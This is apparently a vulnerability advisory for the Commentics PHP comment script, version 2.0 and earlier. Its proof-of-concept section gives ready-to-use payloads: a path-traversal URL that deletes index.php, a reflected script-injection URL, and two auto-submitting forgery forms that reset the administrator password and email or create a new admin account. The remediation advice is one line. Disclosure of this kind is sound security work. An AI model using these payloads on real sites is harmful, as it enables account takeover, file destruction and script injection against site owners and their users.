#################################################
Commentics 2.0<= Multiple Vulnerabilities
#################################################
Discovered by: Jean Pascal Pereira <pereira@secbiz.de>
Vendor information:
"Commentics is a free, advanced PHP comment script with many features.
Professionally written andwithopen source code, its main aims are to be integrable, customizable and secure."
Vendor URI: http://www.commentics.org/#################################################
Issues: Cross Site Scripting, Cross Site Request Forgery / File Deletion
Risk-level: High
The whole administration interface is prone to several client-side attacks.-------------------------------------
Exploit / Proof Of Concept:(Note that almost every parameter is vulnerable. These are only a few examples.)1. File deletion vulnerability (deletes index.php):
http://localhost/commentics/commentics/comments/[admin_path]/index.php?page=tool_db_backup&action=delete&id=../index.php
2. Cross Site Scripting:
http://localhost/commentics/commentics/comments/[admin_path]/index.php?page=edit_page&id="><script>alert(1)</script><!--3. CSRF / Change admin email and password:<form method="POST" action="http://localhost/commentics/commentics/comments/[admin_path]/index.php?page=settings_administrator"><inputtype="text" name="username" value="admin"/><inputtype="text" name="password_1" value="1234"/><inputtype="text" name="password_2" value"=1234"/><inputtype="text" name="email" value="admin%40binkmail.com"/><inputtype="text" name="receive_email_new_ban" value="on"/><inputtype="text" name="receive_email_new_comment_approve" value="on"/><inputtype="text" name="receive_email_new_comment_okay" value="on"/><inputtype="text" name="receive_email_new_flag" value="on"/><inputtype="text" name="submit" value="Update"/></form><script>document.forms[0].submit()</script>4. CSRF / Add new admin user
<form method="POST" action="http://localhost/commentics/commentics/comments/[admin_path]/index.php?page=settings_administrator"><inputtype="text" name="username" value="newadmin"/><inputtype="text" name="password_1" value="1234"/><inputtype="text" name="password_2" value"=1234"/><inputtype="text" name="email" value="newadmin%40binkmail.com"/><inputtype="text" name="submit" value="Add+Admin"/></form><script>document.forms[0].submit()</script>-------------------------------------
Solution:
Do some input validation.-------------------------------------#################################################